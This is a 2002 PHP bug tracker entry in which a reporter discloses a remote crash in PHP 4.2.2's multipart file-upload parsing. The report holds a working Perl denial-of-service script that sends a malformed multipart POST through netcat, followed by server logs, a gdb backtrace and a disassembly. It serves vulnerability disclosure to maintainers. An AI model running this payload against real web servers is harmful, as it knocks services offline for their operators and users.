Bug #18547 Updated: Remote attacker can cause SIGSEGV

ID: 18547 Updated by: sniper@php.net Reported By: tcannon@noops.org -Status: Open +Status: Feedback Bug Type: Reproducible crash Operating System: FreeBSD 4.0 PHP Version: 4.2.2 New Comment: I think this was already fixed in CVS..can you check it out? Previous Comments: ------------------------------------------------------------------------ [2002-07-24 16:10:06] tcannon@noops.org The web form completely mangled my posting. If you'd like it in an easier to read form, I'd be happy to put it in email form... just drop me a line so I know where to send it. Thanks again, Thomas ------------------------------------------------------------------------ [2002-07-24 16:07:45] tcannon@noops.org Hello. While working on an exploit for the multipart_buffer_headers() hole that you just fixed, and I found another problem that you might want to look into. It looks like a DoS only, but there might be a way to execute arbitrary code and I just haven't found it yet. Credit for the find goes to myself and members of the [0dd] 0-Day Digest. Thanks, Thomas Cannon --- [root@spoon]# /usr/local/www/bin/apachectl start /usr/local/www/bin/apachectl start: httpd started [root@spoon]# telnet 0 80 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Wed, 24 Jul 2002 04:03:49 GMT Server: Apache/1.3.26 (Unix) PHP/4.2.2 X-Powered-By: PHP/4.2.2 Connection: close Content-Type: text/html Connection closed by foreign host. [root@spoon]# /usr/local/www/bin/httpd -l Compiled-in modules: http_core.c mod_env.c mod_log_config.c mod_mime.c mod_negotiation.c mod_status.c mod_include.c mod_autoindex.c mod_dir.c mod_cgi.c mod_asis.c mod_imap.c mod_actions.c mod_userdir.c mod_alias.c mod_access.c mod_auth.c mod_setenvif.c mod_php4.c suexec: disabled; invalid wrapper /usr/local/www/bin/suexec [root@spoon]# /* change over to my remote machine, stereophonic */ [tcannon@stereophonic]$ ./header.pl | nc noops.org 80 & [1] 90464 [tcannon@stereophonic]$ ./header.pl | nc noops.org 80 & [2] 90466 [tcannon@stereophonic]$ ./header.pl | nc noops.org 80 & [3] 90468 [tcannon@stereophonic]$ ./header.pl | nc noops.org 80 & [4] 90470 [tcannon@stereophonic]$ ./header.pl | nc noops.org 80 & [tcannon@stereophonic]$ more header.pl #!/usr/bin/perl headers(); sub headers { print "POST /vuln/upload.php HTTP/1.0\n"; print "Referer: http://www.noops.org\n"; print "Connection: Keep-Alive\n"; print "User-Agent: killer-loop.pl\n"; print "Host: www.noops.org\n"; print "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, * /*\n"; print "Accept-Encoding: gzip\n"; print "Accept-Language: en\n"; print "Accept-Charset: iso-8859-1,*,utf-8\n"; print "Content-type: multipart/form-data; boundary=xnyLAaB03X\n"; print "Content-length: 246\n\n\n\n"; print "--xnyLAaB03X\n"; print "Content-Disposition: form-data; name="."A" x 100; } /* then back to spoon, the webserver... The 'reviewer' script is a little thing I whipped up to keep a note of where I last read the apache_log and error_log from, and it also weeds out the code red and nimda background noise -- you'd see this same output from 'tail' or a similar utility */ /* NOTE: 5 - 10 minutes need to pass to give apache time to segfault */ [root@spoon]# reviewer noops.org - - [23/Jul/2002:21:03:49 -0700] "HEAD / HTTP/1.0" 200 0 "-" "-" adsl-66-127-227-196.dsl.sntc01.pacbell.net - - [23/Jul/2002:21:10:15 -0700] "POST /vuln/upload.php HTTP/1.0" 200 - "http://www.noops.org" "killer-loop.pl" adsl-66-127-227-196.dsl.sntc01.pacbell.net - - [23/Jul/2002:21:10:38 -0700] "POST /vuln/upload.php HTTP/1.0" 200 - "http://www.noops.org" "killer-loop.pl" adsl-66-127-227-196.dsl.sntc01.pacbell.net - - [23/Jul/2002:21:10:38 -0700] "POST /vuln/upload.php HTTP/1.0" 200 - "http://www.noops.org" "killer-loop.pl" adsl-66-127-227-196.dsl.sntc01.pacbell.net - - [23/Jul/2002:21:10:39 -0700] "POST /vuln/upload.php HTTP/1.0" 200 - "http://www.noops.org" "killer-loop.pl" adsl-66-127-227-196.dsl.sntc01.pacbell.net - - [23/Jul/2002:21:10:39 -0700] "POST /vuln/upload.php HTTP/1.0" 200 - "http://www.noops.org" "killer-loop.pl" Now it's the error log... [Tue Jul 23 21:03:40 2002] [notice] Apache/1.3.26 (Unix) PHP/4.2.2 configured -- resuming normal operations [Tue Jul 23 21:03:40 2002] [notice] Accept mutex: flock (Default: flock) [Tue Jul 23 21:10:15 2002] [notice] child pid 31780 exit signal Segmentation fault (11) [Tue Jul 23 21:10:38 2002] [notice] child pid 31781 exit signal Segmentation fault (11) [Tue Jul 23 21:10:39 2002] [notice] child pid 31782 exit signal Segmentation fault (11) [Tue Jul 23 21:10:39 2002] [notice] child pid 31779 exit signal Segmentation fault (11) [Tue Jul 23 21:10:40 2002] [notice] child pid 31871 exit signal Segmentation fault (11) [root@spoon]# gdb /usr/local/www/bin/httpd 32839 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... /usr/local/www/conf/32839: No such file or directory. Attaching to program: /usr/local/www/bin/httpd, process 32839 Reading symbols from /usr/lib/libpam.so.1...done. Reading symbols from /usr/lib/libcrypt.so.2...done. Reading symbols from /usr/lib/libm.so.2...done. Reading symbols from /usr/lib/libc.so.4...done. Reading symbols from /usr/libexec/ld-elf.so.1...done. 0x28265794 in read () from /usr/lib/libc.so.4 (gdb) info stack #0 0x28265794 in read () from /usr/lib/libc.so.4 #1 0x812002d in ap_read () #2 0x8121c41 in buff_read () #3 0x8121be7 in saferead_guts () #4 0x812064e in read_with_errors () #5 0x812087e in ap_bread () #6 0x81335ce in ap_get_client_block () #7 0x807a60a in sapi_apache_read_post () #8 0x8080576 in fill_buffer (self=0x823a30c) at rfc1867.c:178 #9 0x808072f in get_line (self=0x823a30c) at rfc1867.c:283 #10 0x808095d in multipart_buffer_headers (self=0x823a30c, header=0xbfbff5c4) at rfc1867.c:374 #11 0x8080fb5 in rfc1867_post_handler (content_type_dup=0x82055cc "multipart/form-data; boundary=xnyLAaB03X", arg=0x821f6ac) at rfc1867.c:663 #12 0x807f581 in sapi_handle_post (arg=0x821f6ac) at SAPI.c:110 #13 0x8082339 in php_treat_data (arg=0, str=0x0, destArray=0x0) at php_variables.c:251 #14 0x807d6df in php_hash_environment () at main.c:1149 #15 0x807ce33 in php_request_startup () at main.c:733 #16 0x8105bc2 in apache_php_module_main (r=0x8237034, display_source_mode=0) at sapi_apache.c:67 #17 0x807b02e in send_php () #18 0x807b082 in send_parsed_php () #19 0x8122665 in ap_invoke_handler () #20 0x8137928 in process_request_internal () #21 0x8137992 in ap_process_request () #22 0x812e487 in child_main () #23 0x812e710 in make_child () #24 0x812ea94 in perform_idle_server_maintenance () #25 0x812f011 in standalone_main () #26 0x812f654 in main () #27 0x8062e01 in _start () (gdb) n Single stepping until exit from function read, which has no line number information. Program received signal SIGTRAP, Trace/breakpoint trap. 0x28265794 in read () from /usr/lib/libc.so.4 (gdb) n Single stepping until exit from function read, which has no line number information. Program received signal SIGTRAP, Trace/breakpoint trap. 0x812b9dc in alrm_handler () (gdb) n Single stepping until exit from function alrm_handler, which has no line number information. Program received signal SIGSEGV, Segmentation fault. 0x80f6b8c in _zval_ptr_dtor (zval_ptr=0x81c433c) at zend_execute_API.c:272 272 zend_execute_API.c: No such file or directory. (gdb) info all-registers eax 0x0 0 ecx 0x8 8 edx 0x1 1 ebx 0x81c433c 136069948 esp 0xbfbff6b8 0xbfbff6b8 ebp 0xbfbff6d0 0xbfbff6d0 esi 0x81c433c 136069948 edi 0x2 2 eip 0x80f6b8c 0x80f6b8c eflags 0x10292 66194 cs 0x1f 31 ss 0x2f 47 ds 0x2f 47 es 0x2f 47 fs 0x2f 47 gs 0x2f 47 (gdb) disassemble 0x80f6b8c Dump of assembler code for function _zval_ptr_dtor: 0x80f6b80 <_zval_ptr_dtor>: pushl %ebp 0x80f6b81 <_zval_ptr_dtor+1>: movl %esp,%ebp 0x80f6b83 <_zval_ptr_dtor+3>: subl $0x14,%esp 0x80f6b86 <_zval_ptr_dtor+6>: pushl %ebx 0x80f6b87 <_zval_ptr_dtor+7>: movl 0x8(%ebp),%ebx 0x80f6b8a <_zval_ptr_dtor+10>: movl (%ebx),%eax 0x80f6b8c <_zval_ptr_dtor+12>: decw 0xa(%eax) 0x80f6b90 <_zval_ptr_dtor+16>: movl (%ebx),%eax 0x80f6b92 <_zval_ptr_dtor+18>: movzwl 0xa(%eax),%edx 0x80f6b96 <_zval_ptr_dtor+22>: testw %dx,%dx 0x80f6b99 <_zval_ptr_dtor+25>: jne 0x80f6bbc <_zval_ptr_dtor+60> 0x80f6b9b <_zval_ptr_dtor+27>: addl $0xfffffff4,%esp 0x80f6b9e <_zval_ptr_dtor+30>: pushl %eax 0x80f6b9f <_zval_ptr_dtor+31>: call 0x80fcf88 <_zval_dtor> 0x80f6ba4 <_zval_ptr_dtor+36>: movl (%ebx),%eax 0x80f6ba6 <_zval_ptr_dtor+38>: addl $0x10,%esp 0x80f6ba9 <_zval_ptr_dtor+41>: cmpl 0x81c84d0,%eax 0x80f6baf <_zval_ptr_dtor+47>: je 0x80f6bcc <_zval_ptr_dtor+76> 0x80f6bb1 <_zval_ptr_dtor+49>: addl $0xfffffff4,%esp 0x80f6bb4 <_zval_ptr_dtor+52>: pushl %eax 0x80f6bb5 <_zval_ptr_dtor+53>: call 0x80f15d0 <_efree> 0x80f6bba <_zval_ptr_dtor+58>: jmp 0x80f6bcc <_zval_ptr_dtor+76> 0x80f6bbc <_zval_ptr_dtor+60>: cmpw $0x1,%dx 0x80f6bc0 <_zval_ptr_dtor+64>: jne 0x80f6bcc <_zval_ptr_dtor+76> 0x80f6bc2 <_zval_ptr_dtor+66>: cmpb $0x5,0x8(%eax) 0x80f6bc6 <_zval_ptr_dtor+70>: je 0x80f6bcc <_zval_ptr_dtor+76> 0x80f6bc8 <_zval_ptr_dtor+72>: movb $0x0,0x9(%eax) 0x80f6bcc <_zval_ptr_dtor+76>: movl 0xffffffe8(%ebp),%ebx 0x80f6bcf <_zval_ptr_dtor+79>: leave 0x80f6bd0 <_zval_ptr_dtor+80>: ret End of assembler dump. ------------------------------------------------------------------------ -- Edit this bug report at http://bugs.php.net/?id=18547&edit=1